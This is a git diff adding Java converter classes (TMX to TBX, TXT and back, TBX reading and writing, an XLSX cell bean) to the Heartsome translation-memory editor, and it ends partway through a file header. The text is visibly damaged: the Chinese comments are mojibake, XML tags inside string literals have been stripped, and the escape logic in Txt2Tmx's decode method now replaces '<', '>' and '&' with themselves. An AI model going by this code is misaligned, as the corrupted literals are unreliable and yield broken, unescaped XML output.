    + * @see TbxReader#getTmxTus(List) + * @return + * @throws Exception + * ; + */ + + private TmxTU[] readTuByNtig() throws Exception { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./langSet"); + AutoPilot childAp = null; + String tempLang = null; + List oneGroupSegs = null; + List> rs = new ArrayList>(); + VTDUtils vu = new VTDUtils(vn); + vn.push(); + while (ap.evalXPath() != -1) { + tempLang = getAttValue("xml:lang"); + childAp = new AutoPilot(vn); + childAp.selectXPath("./ntig/termGrp/term"); + oneGroupSegs = new ArrayList(); + TmxSegement seg = null; + vn.push(); + while (childAp.evalXPath() != -1) { + seg = new TmxSegement(); + seg.setFullText(vtdUtil.getElementContent()); + seg.setPureText(DocUtils.getTmxTbxPureText(vu)); + seg.setLangCode(tempLang); + oneGroupSegs.add(seg); + } + vn.pop(); + rs.add(oneGroupSegs); + } + vn.pop(); + if (rs.isEmpty()) { + return new TmxTU[0]; + } + return getTmxTus(rs); + } + + private String getAttValue(String name) throws NavException { + int langIndex = vn.getAttrVal(name); + if (langIndex != -1) { + return vn.toString(langIndex); + } + return null; + } + + /** + * 求术语多对多的笛å¡å°”乘积 + * @param param + * @return ; + */ + private TmxTU[] getTmxTus(List> param) { + + List> rs = new ArrayList>(); + rs.add(param.get(0)); + + List> temp = new ArrayList>(); + List group = null; + for (int i = 1; i < param.size(); i++) { + temp.clear(); + // 一个组 + for (TmxSegement paramSeg : param.get(i)) { + + for (List list : rs) { + // åˆå§‹åŒ– + if (rs.size() == 1) { + for (TmxSegement seg : list) { + group = new ArrayList(); + group.add(paramSeg); + group.add(seg); + temp.add(group); + } + } else { + group = new ArrayList(); + group.add(paramSeg); + group.addAll(list); + temp.add(group); + } + + } + } + + rs.clear(); + rs.addAll(temp); + + } + List tus = new ArrayList(); + TmxTU tempTU = null; + + for (List list : rs) { + tempTU = new TmxTU(); + for (TmxSegement tuv : list) { + tempTU.appendSegement(tuv); + } + tus.add(tempTU); + } + return tus.toArray(new TmxTU[tus.size()]); + } + + public int getTotal() { + return termEntryCount; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxWriter.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxWriter.java new file mode 100644 index 0000000..42b594c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxWriter.java @@ -0,0 +1,81 @@ +/** + * TbxWriter.java + * + * Version information : + * + * Date:2013-7-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.FileNotFoundException; + +import net.heartsome.cat.common.bean.TmxTU; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TbxWriter extends AbstractWriter { + + /** + * @param filePath + * @throws FileNotFoundException + */ + public TbxWriter(String filePath) throws FileNotFoundException { + super(filePath); + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getHeaderXml() + */ + @Override + protected String getHeaderXml(String srcLang) { + // TODO Auto-generated method stub + String result ="\n" + +"\n" + +"\n" + +"Generated by Heartsome Translation Studio TBX Exporter\n" + +"

    tbxdefault.xcs

    \n" + +"
    \n" + +"\n\n"; + return result; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getEndXml() + */ + @Override + protected String getEndXml() { + // TODO Auto-generated method stub + String result = "\n\n
    \n"; + return result; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#writeTmxTU(net.heartsome.cat.common.bean.TmxTU) + */ + @Override + protected void writeTmxTU(TmxTU tu) { + // TODO Auto-generated method stub + writeXmlString(Model2String.TmxTu2TbxXMLString(tu,true)); + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getWriterEnconding() + */ + @Override + protected String getWriterEnconding() { + // TODO Auto-generated method stub + return "utf-8"; + } + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tmx2Tbx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tmx2Tbx.java new file mode 100644 index 0000000..89fb727 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tmx2Tbx.java @@ -0,0 +1,126 @@ +/** + * Tmx2Tbx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.document.TmxReader; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Tmx转æ¢æˆTbx + * @author yule + * @version + * @since JDK1.6 + */ +public class Tmx2Tbx extends AbstractTmx2File { + + private static final Logger LOGGER = LoggerFactory.getLogger(Tmx2Tbx.class); + + public static final String NAME = "tbx"; + + private List cache = new ArrayList(SIZE); + + private AbstractWriter tbxWriter; + + private static final int SIZE = 500; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.AbstractTmx2File#doCovnerter(java.lang.String, java.io.File) + */ + public void doCovnerter(String tmxFile, File targetFile, IProgressMonitor monitor) throws Exception { + try { + tmxReader = new TmxReader(new File(tmxFile)); + tbxWriter = new TbxWriter(targetFile.getAbsolutePath()); + } catch (TmxReadException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + + } catch (FileNotFoundException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("convert.tmx2tbx.tbxFileNotExit")); + } + + try { + TmxTU temp = null; + int total = tmxReader.getTotalTu() / SIZE; + monitor.beginTask("", total == 0 ? 1 : total); + String xmlc = tbxWriter.getHeaderXml(tmxReader.getTmxHeader().getSrclang()); + tbxWriter.writeHeader(xmlc); + while (true) { + temp = tmxReader.read().getTu(); + if (temp == null) { + break; + } + if (cache.size() != SIZE) { + cache.add(temp); + continue; + } + if (monitor.isCanceled()) { + return; + } + writeTmxTU(cache); + monitor.worked(1); + } + if (monitor.isCanceled()) { + return; + } + writeTmxTU(cache); + monitor.done(); + } catch (Exception e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("convert.tmx2tbx.writeTbxError")); + } finally { + monitor.done(); + tbxWriter.writeEnd(); + tbxWriter.closeOutStream(); + } + } + + /** + * 将缓存内容写入到文件中 + * @param cache + * ; + */ + private void writeTmxTU(List cache) { + if (cache.isEmpty()) { + return; + } + tbxWriter.writeBody(cache); + cache.clear(); + } + + public static void main(String[] args) throws Exception { + long start = System.currentTimeMillis(); + @SuppressWarnings("unused") + Tmx2Tbx conver = new Tmx2Tbx(); + File file = new File("E:\\bigTmxTest\\a4.tmx.tbx"); + if (!file.exists()) { + file.createNewFile(); + } + // conver.doCovnerter("E:\\bigTmxTest\\a4.tmx", file); + System.out.println("ALL转æ¢ç”¨æ—¶:" + (System.currentTimeMillis() - start)); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TmxWriter.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TmxWriter.java new file mode 100644 index 0000000..0b9d5c5 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TmxWriter.java @@ -0,0 +1,91 @@ +/** + * TmxWriter.java + * + * Version information : + * + * Date:2013-7-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.FileNotFoundException; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.bean.TmxTemplet; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TmxWriter extends AbstractWriter { + + private String attibuteString; + /** + * + */ + public TmxWriter() { + // TODO Auto-generated constructor stub + } + /** + * @param filePath + * @throws FileNotFoundException + */ + public TmxWriter(String filePath) throws FileNotFoundException { + super(filePath); + // TODO Auto-generated constructor stub + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getHeaderXml() + */ + @Override + protected String getHeaderXml(String srcLang) { + TmxHeader header = TmxTemplet.generateTmxHeader(srcLang, null, null, null, null, null, null); + return TmxTemplet.header2Xml(header); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getEndXml() + */ + @Override + protected String getEndXml() { + // TODO Auto-generated method stub + return "\n
    "; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#writeTmxTU(net.heartsome.cat.common.bean.TmxTU) + */ + @Override + protected void writeTmxTU(TmxTU tu) { + // TODO Auto-generated method stub + writeXmlString(Model2String.TmxTU2TmxXmlString(tu, true,getAttibuteString())); + + } + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.AbstractWriter#getWriterEnconding() + */ + @Override + protected String getWriterEnconding() { + // TODO Auto-generated method stub + return "utf-8"; + } + /** @return the attibuteString */ + public String getAttibuteString() { + return attibuteString; + } + /** @param attibuteString the attibuteString to set */ + public void setAttibuteString(String attibuteString) { + this.attibuteString = attibuteString; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Tmx2Txt.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Tmx2Txt.java new file mode 100644 index 0000000..508302d --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Tmx2Txt.java @@ -0,0 +1,190 @@ +/** + * Tmx2Txt.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.txt; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.document.TmxReader; +import net.heartsome.cat.document.TmxReaderEvent; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class Tmx2Txt extends AbstractTmx2File { + + public static final String NAME = "txt"; + + public static final byte[] SEPARATOR = { 9 };// 间隔符 tab + public static final byte[] CRLF = { 13, 10 };// LFCR + + public static Logger LOGGER = LoggerFactory.getLogger(Tmx2Txt.class.getName()); + + private int langIndex = 0;// *all* 无明确æºè¯­è¨€ + + public void doCovnerter(String tmxFile, File targetFile, IProgressMonitor monitor) throws Exception { + + final int works = 100; + + //1. 解æžæ–‡ä»¶ + monitor.beginTask(Messages.getString("converter.common.monitor.info.start"), works); + monitor.setTaskName(Messages.getString("converter.common.monitor.info.start")); + if (monitor.isCanceled()) { + return; + } + monitor.worked(1); + + try { + tmxReader = new TmxReader(new File(tmxFile)); + } catch (TmxReadException e) { + LOGGER.error(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError"), e); + throw e; + } + + FileOutputStream fos = null; + BufferedOutputStream bos = null; + TmxReaderEvent event = null; + List langs = tmxReader.getLangs(); + Map map = new HashMap(); + + if (monitor.isCanceled()) { + return; + } + monitor.worked(9);//done 1 + + try { + fos = new FileOutputStream(targetFile, true); + } catch (FileNotFoundException e) { + LOGGER.error(e.getMessage(), e); + throw e; + } + bos = new BufferedOutputStream(fos); + + try { + langIndex = "*all*".equalsIgnoreCase(langs.get(0)) ? 1 : 0; + + for (int i = langIndex; i < langs.size(); i++) { + bos.write(langs.get(i).getBytes()); + if (i != langs.size() - 1) { + bos.write(SEPARATOR); + } + } + bos.write(CRLF); + // 2. 处ç†å†…容 + double total = tmxReader.getTotalTu(); + int worked = 0;//å·²å®Œæˆ + int count = 0;//计数 + int tmp = 0; + IProgressMonitor submMonitor = new SubProgressMonitor(monitor, 90); + submMonitor.beginTask("", 100); + submMonitor.setTaskName(Messages.getString("converter.common.monitor.info.readtmx")); + loop: while (true) { + if (monitor.isCanceled()) { + return; + } + event = tmxReader.read(); + switch (event.getState()) { + case TmxReaderEvent.END_FILE: + break loop; + case TmxReaderEvent.NORMAL_READ: + map.clear();// 清除 + if (langIndex < 1 && event.getTu().getSource() != null) { // not *all* + map.put(langs.get(0).toLowerCase(), event.getTu().getSource()); + } + if (event.getTu().getSegments() != null) { + for (TmxSegement seg : event.getTu().getSegments()) { + map.put(seg.getLangCode().toLowerCase(), seg); + } + } + // 生æˆæ¯åˆ— + for (int i = langIndex; i < langs.size(); i++) { + String lang = langs.get(i).toLowerCase(); + if (map.containsKey(lang)) { + bos.write(encodeTab(TextUtil.resetSpecialString(map.get(lang).getPureText()), null)); + } + if (i != langs.size() - 1) { + bos.write(SEPARATOR); + } + } + bos.write(CRLF); + break; + default: + continue; + } + + tmp = (int) ((count++ / total) * 100); + if (tmp > worked) { + submMonitor.worked(tmp - worked); + worked = tmp; + } + } + bos.flush(); + bos.close(); + submMonitor.done(); + monitor.done(); + } catch (IOException e) { + LOGGER.error("", e); + throw e; + } finally { + try { + fos.close(); + bos.close(); + } catch (IOException e) { + LOGGER.error("close io"); + } + } + } + + private byte[] encodeTab(String str, String enc) { + StringBuilder builder = new StringBuilder(); + char ch = '\0'; + for (int i = 0; i < str.length(); i++) { + ch = str.charAt(i); + switch (ch) { + case '\\': + builder.append('\\').append('\\'); + break; + case '\t': + builder.append('\\').append('t'); + break; + case '\r': + builder.append('\\').append('r'); + break; + case '\n': + builder.append('\\').append('n'); + break; + default: + builder.append(ch); + } + } + return builder.toString().getBytes(); + } + + public static void main(String[] args) { +// Tmx2Txt ttt = new Tmx2Txt(); + // ttt.doCovnerter("res/CareMore Health Plan_utf8.tmx", new File("res/_test.txt")); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Txt2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Txt2Tmx.java new file mode 100644 index 0000000..49e65ef --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/txt/Txt2Tmx.java @@ -0,0 +1,366 @@ +/** + * Txt2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.txt; + +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.nio.channels.FileChannel; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +public class Txt2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + + public static Logger LOGGER = LoggerFactory.getLogger(Txt2Tmx.class.getName()); + + private long appendOffset = -1; + private String appendSrclang = null; + + public void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean bean, IProgressMonitor monitor) + throws Exception { + + monitor.beginTask("", 101); + monitor.worked(1); + + FileOutputStream fos = null; + try { + if (bean.appendExistTmxFilePath != null) { + getSrclangAndTuOffset(bean.appendExistTmxFilePath); + fos = new FileOutputStream(new File(bean.appendExistTmxFilePath), true); + FileChannel fc = fos.getChannel(); + fc.truncate(appendOffset); + } else { + fos = new FileOutputStream(new File(bean.newTmxFilePath)); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + if (fos != null) { + try { + fos.close(); + } catch (Exception e1) { + } + } + throw e; + } + try { + writeTmx(bean, fos, monitor); + } catch (Exception e) { + if (bean.appendExistTmxFilePath != null) { + fos.write("
    ".getBytes()); + } + try { + fos.close(); + } catch (Exception e1) { + } + throw e; + } + } + + private void writeTmx(File2TmxConvertBean bean, FileOutputStream fos, IProgressMonitor monitor) throws Exception { + + monitor.setTaskName(Messages.getString("converter.docx2tmx.docx.readdocx")); + double total = 0; + double count = 0; + int worked = 0; + int tmp = 0; + + InputStreamReader freader = null; + try { + File file = new File(bean.sourceFilePath); + String encoding = FileEncodingDetector.detectFileEncoding(file); + freader = new InputStreamReader(new FileInputStream(file), encoding); + total = getLineNumber(file, encoding); + if (total < 1) { + try { + freader.close(); + } catch (Exception e1) { + } + throw new Exception(Messages.getString("converter.docx2tmx.docx.invaild")); + } + } catch (FileNotFoundException e) { + LOGGER.error(e.getMessage(), e); + try { + freader.close(); + } catch (Exception e1) { + } + throw e; + } + + BufferedReader reader = new BufferedReader(freader); + BufferedOutputStream bos = new BufferedOutputStream(fos); + + try { + // è¯­è¨€ä»£ç  + String rowStr = reader.readLine(); + count++; + String[] rowArr = rowStr.split("\t"); + + if (rowArr == null || rowArr.length < 2) { + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + } + + for (int i = 0; i < rowArr.length; i++) { + rowArr[i] = LanguageUtils.convertLangCode(rowArr[i]); + if (!LocaleService.getDefaultLanguage().containsKey(rowArr[i])) + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + } + + Set testSet = new HashSet(); + testSet.addAll(Arrays.asList(rowArr)); + if (testSet.size() != rowArr.length) { + throw new Exception(Messages.getString("converter.common.vaild.duplicatelangcode.error")); + } + + Map map = new HashMap(); + for (int i = 0; i < rowArr.length; i++) { + // check langcode + if (rowArr[i].trim().isEmpty()) { + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + } + map.put(i, LanguageUtils.convertLangCode(rowArr[i])); + } + + bean.srcLangCode = rowArr[0]; + if (bean.srcLangCode == null || bean.srcLangCode.isEmpty()) { + Exception e = new Exception(Messages.getString("converter.docx2tmx.docx.invaild")); + throw e; + } + + if (bean.appendExistTmxFilePath != null) { + if (!appendSrclang.equalsIgnoreCase("*all*")) { + if (!bean.srcLangCode.equalsIgnoreCase(appendSrclang)) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.diffsrcLang.error")); + throw e; + } + } + } else { + String xmlDecl = TmxTemplet.genertateTmxXmlDeclar(); + bos.write(xmlDecl.getBytes()); + TmxHeader header = TmxTemplet.generateTmxHeader(bean.srcLangCode, "unknown", "sentence", "Text Files", + null, null, null); + bos.write("\n".getBytes()); + bos.write(TmxTemplet.header2Xml(header).getBytes()); + bos.write("\n".getBytes()); + } + + String tuContent = null; + while ((rowStr = reader.readLine()) != null) { + if (monitor.isCanceled()) { + return; + } + // 设置进度 + count++; + tmp = (int) ((count / total) * 100); + if (tmp > worked) { + monitor.worked(tmp - worked); + worked = tmp; + } + + rowArr = rowStr.split("\t"); + tuContent = createTu(rowArr, map, bean); + bos.write(tuContent.getBytes()); + } + bos.write("\n".getBytes()); + bos.flush(); + monitor.done(); + } catch (IOException e) { + throw e; + } finally { + try { + if (reader != null) { + reader.close(); + } + } catch (IOException e) { + LOGGER.error("close reader&writer"); + } + } + } + + private double getLineNumber(File file, String encoding) throws UnsupportedEncodingException { + BufferedReader bis = null; + try { + bis = new BufferedReader(new InputStreamReader(new FileInputStream(file), encoding)); + } catch (FileNotFoundException e2) { + e2.printStackTrace(); + } + int ch = -1; + int count = 0; + boolean isline = false; + try { + while ((ch = bis.read()) != -1) { + if (ch == '\r' || ch == '\n') { + if (!isline) { + isline = true; + count++; + } + } else { + isline = false; + } + } + } catch (IOException e1) { + e1.printStackTrace(); + } finally { + try { + bis.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + return count; + } + + private String createTu(String[] rowArr, Map map, File2TmxConvertBean bean) { + StringBuilder builder = new StringBuilder(); + builder.append("\n"); + addTuPropNode(builder, bean.customeAttr); + for (int i = 0; i < rowArr.length; i++) { + if (rowArr[i].trim().length() > 0) { + builder.append("\n") + .append("").append(decode(rowArr[i])).append("\n").append("\n"); + } + } + builder.append("\n"); + return builder.toString(); + } + + private void addTuPropNode(StringBuilder builder, Map map) { + if (map == null || map.size() == 0) { + return; + } + for (Entry entry : map.entrySet()) { + builder.append("").append(entry.getValue()) + .append("\n"); + } + } + + /** + * 获å–æºè¯­è¨€ï¼Œè®¡ç®— tmx 文档的 æœ€åŽ tu çš„å移,以便附加新内容 + * @param file + * @return + */ + private void getSrclangAndTuOffset(String file) throws Exception { + // 检测追加文件的æºè¯­è¨€ + String appendFileSrcLang = ""; + VTDGen vg = new VTDGen(); + if (!vg.parseFile(file, true)) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + LOGGER.error(e.getMessage()); + throw e; + } + try { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx/header/@srclang"); + if (ap.evalXPath() == -1) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + LOGGER.error(e.getMessage()); + throw e; + } + appendFileSrcLang = vn.toString(vn.getCurrentIndex() + 1); + ap.resetXPath(); + ap.selectXPath("/tmx/body/tu[last()]"); + if (ap.evalXPath() == -1) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + LOGGER.error(e.getMessage()); + throw e; + } + long l = vn.getElementFragment(); + int offset = (int) l; + int length = (int) (l >> 32); + appendOffset = offset + length; + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + throw e; + } + appendSrclang = appendFileSrcLang; + } + + private String decode(String str) { + StringBuilder builder = new StringBuilder(); + for (int i = 0; i < str.length(); i++) { + switch (str.charAt(i)) { + case '\\': + if (i + 1 < str.length()) { + switch (str.charAt(i + 1)) { + case 'r': + i++; + builder.append('\r'); + continue; + case 't': + i++; + builder.append('\t'); + continue; + case 'n': + i++; + builder.append('\n'); + continue; + case '\\': + i++; + builder.append('\\'); + continue; + default: + builder.append('\\'); + continue; + } + } + case '<': + builder.append("<"); + continue; + case '>': + builder.append(">"); + continue; + case '&': + builder.append("&"); + break; + case '\r': + case '\n': + case '\t': + builder.append(str.charAt(i)); + break; + default: + if (str.charAt(i) >= 0x20) { + builder.append(str.charAt(i)); + } + } + } + return builder.toString(); + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Cell.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Cell.java new file mode 100644 index 0000000..ce18849 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Cell.java @@ -0,0 +1,72 @@ +/** + * Cell.java + * + * Version information : + * + * Date:2013-7-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.xlsx; + + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class Cell { + + /** + * 表格的åºå·.从1开始 + */ + private String cellNumber; + + /** + * 表格中的内容 + */ + private String cellConentent; + + private String langCode; + + /** @return the langCode */ + public String getLangCode() { + return langCode; + } + + /** @param langCode the langCode to set */ + public void setLangCode(String langCode) { + this.langCode = langCode; + } + + /** @return the cellNumber */ + public String getCellNumber() { + return cellNumber; + } + + /** + * @param cellNumber + * the cellNumber to set + */ + public void setCellNumber(String cellNumber) { + this.cellNumber = cellNumber; + } + + /** @return the cellConentent */ + public String getCellConentent() { + return cellConentent; + } + + /** + * @param cellConentent + * the cellConentent to set + */ + public void setCellConentent(String cellConentent) { + this.cellConentent = cellConentent; + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Excel2007Writer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Excel2007Writer.java new file mode 100644 index 0000000..3f05154 --- /dev/null +++ 